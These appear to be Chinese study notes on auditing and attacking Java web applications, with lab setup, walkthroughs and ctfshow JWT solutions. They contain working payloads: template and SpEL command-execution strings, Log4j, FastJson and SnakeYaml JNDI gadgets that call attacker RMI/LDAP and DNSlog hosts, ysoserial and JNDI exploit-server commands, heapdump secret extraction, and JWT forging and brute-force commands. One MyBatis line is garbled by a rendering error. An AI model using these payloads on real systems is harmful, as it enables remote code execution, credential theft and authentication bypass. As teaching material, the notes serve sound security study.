Java安全
Java2Sec靶场搭建
靶场地址
https://github.com/bewhale/JavaSec
查看数据库配置文件,mysql,用户名密码根据自己数据库密码更改
使用小皮面板的mysql,新建一个数据名为javasec的数据库
运行javasec.sql文件
下载运行jar包即可
java -jar javasec-0.0.1-SNAPSHOT.jar
访问本地8000端口,用户名密码admin,admin
Hello-Java-Sec靶场搭建
靶场地址
https://github.com/j3ers3/Hello-Java-Sec
查看数据库配置文件,mysql,用户名密码根据自己数据库密码更改
使用小皮面板的mysql,新建一个数据名为test的数据库
运行db.sql文件
下载运行jar包即可
java -jar javasec-1.10.jar
访问本地8888端口,用户名密码admin,admin
SQL注入
JDBC
1、采用Statement方法拼接SQL语句
2、PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。
3、JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入
安全写法:SQL语句占位符(?) + PrepareStatement预编译
MyBatis
MyBatis支持两种参数符号,一种是#,另一种是KaTeX parse error: Expected 'EOF', got '#' at position 2: ,#̲使用预编译,使用拼接SQL。
1、order by注入:由于使用#{}会将对象转成字符串,形成order by “user” desc造成错误,因此很多研发会采用${}来解决,从而造成注入.
2、like 注入:模糊搜索时,直接使用’%#{q}%’ 会报错,部分研发图方便直接改成’%${q}%'从而造成注入.
3、in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入.
代码审计案例
inxedu后台MyBatis注入
修改配置文件
使用mysql5.5.29
直接运行sql文件
白盒审计思路
查看外部引用库
引用了Mybatis库说明使用Mybatis库
搜索%${
搜索(${,
路由地址是访问delete
路由地址是/admin/article
访问/admin/article/delete
点击删除可以看到提交了articelld数据,刚刚接受的也是articelId
将数据包复制出来,在注入点加上*
使用sqlmap跑出注入点
跑出表单名
python sqlmap.py -r "C:\Users\强少张\Desktop\1.txt" --batch --tables
XXE注入-Reader&Builder
XXE (XML External Entity Injection), XML外部实体注入,当开发人员配置其XML解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。
审计的函数
XMLReader
SAXReader
DocumentBuilder
XMLStreamReader
SAXBuilder
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression
SSTI模版-Thymeleaf&URL
SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
1、URL作视图
2、Velocity
3、Thymeleaf
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::
其他语言参考:https://www.cnblogs.com/bmjoker/p/13508538.html
SPEL表达式-SpringBoot框架
SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。
1、Spring表达式
2、Spring反射绕过
审计的函数
SpelExpressionParser
getValue
参考:https://www.jianshu.com/p/e3c77c053359
T(java.lang.Runtime).getRuntime().exec("calc")
RCE执行
审计函数
RuntimeExec
ScriptEngineManager
var a = mainOutput();
function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};
引用js文件执行rce漏洞
Groovy
ProcessBuilder
ProcessImpl
检测:(大部分白盒)
黑盒看参数名和参数值
白盒看类函数名和可控变量
JNDI注入-RMI&LDAP&版本
什么是jndi注入
为什么有jndi注入
JDNI注入安全问题(RCE)
JDNI注入利用条件(看上图)
参考:https://blog.csdn.net/dupei/article/details/120534024
#JNDI注入-RMI&LDAP服务&高版本
资料:https://docs.qq.com/doc/DQ3JySmFPZXJkUVBL
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
检测:
无黑盒思路
白盒看类函数名和可控变量
使用**JNDI-Injection-Exploit**构造jndi链
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 192.168.100.2
不安全组件
JSON&XML&验证&日志
-FastJson:
阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
历史漏洞:https://avd.aliyun.com/search?q=fastjson
-黑盒测试不安全组件漏洞:
见后续章节漏洞复现利用课程
-白盒审计不安全组件漏洞:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://192.168.100.2:1099/s59vaf","autoCommit":true}
-Log4j:
Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j
${jndi:rmi://192.168.100.2:1099/s59vaf}
${jndi:ldap://jiwxpwcups.dgrh3.cn}
-Shiro:
Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro
黑盒:登录框架有remember
抓取登录数据地址
爆破密钥和利用链,执行代码
-Jackson:
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson
["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://192.168.100.2:1099/s59vaf","autoCommit":"true"}]
-XStream:
开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>
先clean一下再install
执行sql文件
案例
FastJson审计
1、看引用组件版本及实现
JSON.parse()
JSON.parseObject()
搜索JSON.parseObject
2、找可控变量及访问实现propertyJson,路径地址为admin/product,@RequestParam是springboot传入
查看引用库是否有fastjson
找到admin/product,进行抓包找到propertyJson
3、测试出网回显调用访问
{"@type":"java.net.Inet4Address","val":"zrpqhbvwbc.dgrh3.cn"}
Log4j审计
1、看引用组件版本及实现
logger.info
logger.error
搜索logger.info
,找到有变量的地方
2、找可控变量及访问实现
admin/uploadAdminHeadImage originalFileName
originalFileName是获取文件名file.getOriginalFilename()参数,文件名是可控的,路径是admin/uploadProductImage
在配置文件中查看是否有log4j
上传一个图片是uploadProductImage路径
抓一下文件上传包
3、测试出网回显调用访问
修改上传文件名
${jndi:ldap://uzlhyodwsr.dgrh3.cn}
${jndi:rmi://192.168.100.2:1099/rierdi}
不回显常见判断通用方法:
1、直接将执行结果写入到静态资源文件里,如html、js等,然后访问。
2、通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
3、接将命令执行结果回显到请求Poc的HTTP响应中。
不回显常见判断细节方法:
例:https://mp.weixin.qq.com/s/qhLhgbNwocC07AN48eQ0sw
反序列化-原生序列化类函数
序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程,java序列化的数据一般会以标记ac ed 00 05
开头,base64编码的特征为rO0AB
,JAVA常见的序列化和反序列化的方法有JAVA 原生序列化和JSON 类(fastjson、jackson)序列化等。
0、黑盒发现(流量捕获)
0、白盒发现(特征类接口函数)
利用项目:
Yakit
ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
java -jar ysoserial-all.jar
SerializedPayloadGenerator
原生序列化类函数:
SnakeYaml
SnakeYaml
:完整的YAML1.1规范Processor,支持Java对象的序列化/反序列化
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://192.168.100.2:1099/pw37y7', autoCommit: true}
XMLDecoder.readObject()
XMLDecoder
:xml语言格式序列化类函数接口
使用XMLDecoder解析后再调用readObject()方法
<?xml version="1.0" encoding="UTF-8"?><java version="1.8.0_151" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>calc</string> </void> </array> <void method="start" /> </object></java>
ObjectInputStream.readObject()
ObjectInputStream.readObject()
:任何类如果想要序列化必须实现java.io.Serializable
接口
java -jar ysoserial-all.jar CommonsCollections5 "cmd /c calc" | base64 -w0
SpringBoot框架-泄漏&CVE
SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。
检测清单
黑盒发现
人工识别
fofa语法:body=“Whitelabel Error Page” && icon_hash=“116323821”
图标是小叶子,报错内容是Whitelabel Error Page
BP指纹识别插件
白盒发现
pom.xml
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
引用库:Actuator
#Actuator设置全部暴露
management.endpoints.web.exposure.include=*
安全配置
泄漏安全(配置密码,AK/SK等)
JDumpSpider
heapdump_tool
需要java8之前版本或者Java部分版本,因为已经jhat已经被移除了
漏洞安全(利用类,CVE漏洞等)
SpringBoot-Scan
我的工具箱有集成,需要的可以私信
SpringBootVulExploit
案例一
使用SpringBoot-Scan扫描springboot网址
SSpringBoot-Scan-V2.51_Win_x64_2024年龙年新春贺岁版.exe -u http://127.0.0.1:8000
扫描出信息泄露
访问http://127.0.0.1:8000/actuator/heapdump下载heapdump
使用JDumpSpider解析heapdump
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
使用SpringBootVulExploit进行漏洞扫描利用
使用JNDIExploit-1.3-SNAPSHOT创建一个JNDI注入环境
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 127.0.0.1 -l 1389 -p 3456
点击连接,利用jolokiaLogbackRCE,利用失败,应该是java版本过高导致的
使用SpringBoot-Scan检测漏洞
SpringBoot-Scan.exe -v http://127.0.0.1:8000
案例二
创建一个rbac数据库,执行sql文件
在Maven先clean再install
全局搜索actuator
在pom.xml中引用了
查看配置文件
Actuator设置全部暴露
访问网站burp被动扫描
访问/actuator/heapdump下载heapdump文件
使用JDumpSpider-1.1-SNAPSHOT-full.jar扫描heapdump文件
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar "heapdump (1)"
使用springboot-scan检测漏洞
SpringBoot-Scan.exe -v 192.168.100.2:8088
使用SpringBootExploit检测漏洞
Druid监控-未授权访问&信息泄漏
参考:https://developer.aliyun.com/article/1260382
Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。
攻击点:
1、直接拼接URL路径:druid
,尝试能否直接未授权访问系统功能点。
2、结合泄露URL路径和Session信息,利用BurpSuite进行尝试登录。
3、利用Cookie编辑器替换Session,再次访问后台路径尝试进入后台。
Swagger接口-导入&联动批量测试
Swagger是一个用于生成、描述和调用RESTful接口的Web服务。就是将项目中所有(想要暴露的)接口展现在页面上,并可以进行接口调用和测试的服务。所以可以对这个接口进行漏洞测试,看是否存在未授权访问、sql注入、文件上传等漏洞。由于接口太多,一个个接口测试的话太费时间,所以一般会采用自动化接口漏洞安全测试。
1、自动化发包测试
Postman:https://github.com/hlmd/Postman-cn
点击导入选择链接
点击运行,勾选保存响应,如果有文件上传点可以选择上传文件
运行报错
将变量初始值和当前值//删除
再重新运行
2、自动化漏洞测试
postman联动BurpSuite 转发Xray
使用工具箱里的图形化xray,设置好IP端口,开启被动监听
使用postman再次发包,xray成功接到数据包,扫描完毕打开扫描结果
JWT令牌-空算法&未签名&密匙获取
JSON Web Token(JWT)。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。
JWT识别
1、标头(Header)
Header是JWT的第一个部分,是一个JSON对象,主要声明了JWT的签名算法,如"HS256”、“RS256"等,以及其他可选参数,如"kid”、“jku”、"x5u"等
alg字段通常用于表示加密采用的算法。如"HS256"、"RS256"等
typ字段通常用于表示类型
还有一些其他可选参数,如"kid"、“jku”、"x5u"等
2、有效载荷(Payload)
Payload是JWT的第二个部分,这是一个JSON对象,主要承载了各种声明并传递明文数据,用于存储用户的信息,如id、用户名、角色、令牌生成时间和其他自定义声明。
iss:该字段表示jwt的签发者。
sub:该jwt面向的用户。
aud:jwt的接收方。
exp:jwt的过期时间,通常来说是一个时间戳。
iat:jwt的签发时间,常来说是一个时间戳。
jti:此jwt的唯一标识。通常用于解决请求中的重放攻击。该字段在大多数地方没有被提及或使用。因为使用此字段就意味着必须要在服务器维护一张jti表, 当客户端携带jwt访问的时候需要在jti表中查找这个唯一标识是否被使用过。使用这种方式防止重放攻击似乎让jwt有点怪怪的感觉, 毕竟jwt所宣称的优点就是无状态访问
签名(Signature)
Signature是对Header和Payload进行签名,具体是用什么加密方式写在Header的alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
对Header和Payload进行签名,具体是用什么加密方式写在Header的alg中。
同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
第一部分:对 JSON 的头部做 base64 编码处理得到
第二部分:对 JSON 类型的 payload 做 base64 编码处理得到
第三部分:分别对头部和载荷做base64编码,并使用.拼接起来
使用头部声明的加密方式,对base64编码前两部分合并的结果加盐加密处理,作为JWT
在线解析:https://jwt.io/
BURP插件
Hae
JSON Web Tokens
burp市场地址
下载的bapp后缀文件再商店中导入
JWT安全
1、空加密算法(攻击头部不使用加密)
签名算法可被修改为none,JWT支持将算法设定为"None"。如果"alg"字段设为"None",那么签名会被置空,这样任何token都是有效的。
2、未校验签名(攻击签名不使用签名认证)
某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。
3、暴力破解密钥(攻击签名知道密钥实现重组)
针对是对称加密算法(非对称没有用)
非对称要使用方法:获取源码或者公钥私钥文件
某些签名算法,例如HS256(HMAC+SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。这个秘钥如被轻易猜到或暴力破解,则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。
4、其他安全参考:(源码泄漏密匙,Kid注入等)
https://blog.csdn.net/weixin_44288604/article/details/128562796
JWT利用
利用项目:https://github.com/ticarpi/jwt_tool
ctfshow-345(None无签名认证)
HAE检测到JWT
使用官方识别一下JWT数据,这里只要两部分没有签名
jwt是以base64加密的,先用Decoder模块解密修改user为admin再进行base64加密
替换JWT数据,拿到flag
ctfshow-346(None算法绕过签名)
JSON-Web Tokens插件已经识别
直接使用JSON-Web Tokens修改
使用jwt_tool进行解析
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NTEyNCwiZXhwIjoxNzE2NDYyMzI0LCJuYmYiOjE3MTY0NTUxMjQsInN1YiI6InVzZXIiLCJqdGkiOiJmNjgzNWQ5ZGFmOWJlMmEyYjQwNzc1MDVjYmQ3N2MwYiJ9.kjG4plzd85B-CL9OdNDUDk5bVon1HR-pgj8nhSO6-WI
修改JWT数据,修改加密为None,sub为admin
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NTEyNCwiZXhwIjoxNzE2NDYyMzI0LCJuYmYiOjE3MTY0NTUxMjQsInN1YiI6InVzZXIiLCJqdGkiOiJmNjgzNWQ5ZGFmOWJlMmEyYjQwNzc1MDVjYmQ3N2MwYiJ9.kjG4plzd85B-CL9OdNDUDk5bVon1HR-pgj8nhSO6-WI -T
去掉签名部分,发送数据
ctfshow-347(弱口令密钥获取)
使用jwt_tool爆破密钥
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NjU5MSwiZXhwIjoxNzE2NDYzNzkxLCJuYmYiOjE3MTY0NTY1OTEsInN1YiI6InVzZXIiLCJqdGkiOiI3NWI5ZWJiYjFmNmJiMzc0OWRlYzljMjUzYTlkMjk3NiJ9.ng9Ry27tXVv6UdpM4oWc6RyCyOvFulHMayqXLC0DL60 -C -d "D:\Infiltration\ASSETS\字典\fuzz\Password\Sucuri-Top-Wordpress-Passwords.txt"
验证123456是不是密钥
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ1NjU5MSwiZXhwIjoxNzE2NDYzNzkxLCJuYmYiOjE3MTY0NTY1OTEsInN1YiI6InVzZXIiLCJqdGkiOiI3NWI5ZWJiYjFmNmJiMzc0OWRlYzljMjUzYTlkMjk3NiJ9.ng9Ry27tXVv6UdpM4oWc6RyCyOvFulHMayqXLC0DL60 -C -p 123456
在官网上修改jwt数据
复制修改好的JWT数据成功拿到flag
ctfshow-348(爆破密钥上题一样)
使用jwt_tool爆破密钥
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNjQ2MDg2NiwiZXhwIjoxNzE2NDY4MDY2LCJuYmYiOjE3MTY0NjA4NjYsInN1YiI6InVzZXIiLCJqdGkiOiIyMGUxODIyNDZkMTQ1YmUzYWYwYTU4MDVkZmRmZTY1NiJ9.zZdv09bsfIsfEqWt0LLt2Kei1ieoj_PI-OFOlSehMAA -C -d "D:\Infiltration\ASSETS\字典\fuzz\Password\Sucuri-T
op-Wordpress-Passwords.txt"
在官网上修改jwt数据
ctfshow-349(公钥私钥泄露)
JS提示,公钥私钥泄露,RSA都是以公钥加密,私钥解密,这个题是私钥加密,公钥解密
访问/private.key下私钥,利用python脚本加密jwt,需要安装jwt 和pyjwt
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
修改JWT使用post提交
ctfshow-350(密钥混淆攻击RS256=>HS256)
代码逻辑是以private,RS256非对称加密,但是没有private文件
解密只需要public解密,使用public,HS256对称加密,那么解密也会以public解密
使用js编写脚本,使用py加密出来的jwt有点问题,不知道怎么回事。
var jwt = require('jsonwebtoken');var fs = require('fs');var privateKey = fs.readFileSync('./public.key');var token = jwt.sign({ 'user': 'admin' }, privateKey, { algorithm: 'HS256' });console.log(token)
替换jwt拿到flag
黑盒JWT测试
首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将该请求包重放测试:
1)未授权访问:删除Token后仍然可以正常响应对应页面
2)敏感信息泄露:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等
3)破解密钥+越权访问:通过JWT.io解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料
4)检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常响应则存在Token不过期
5)通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题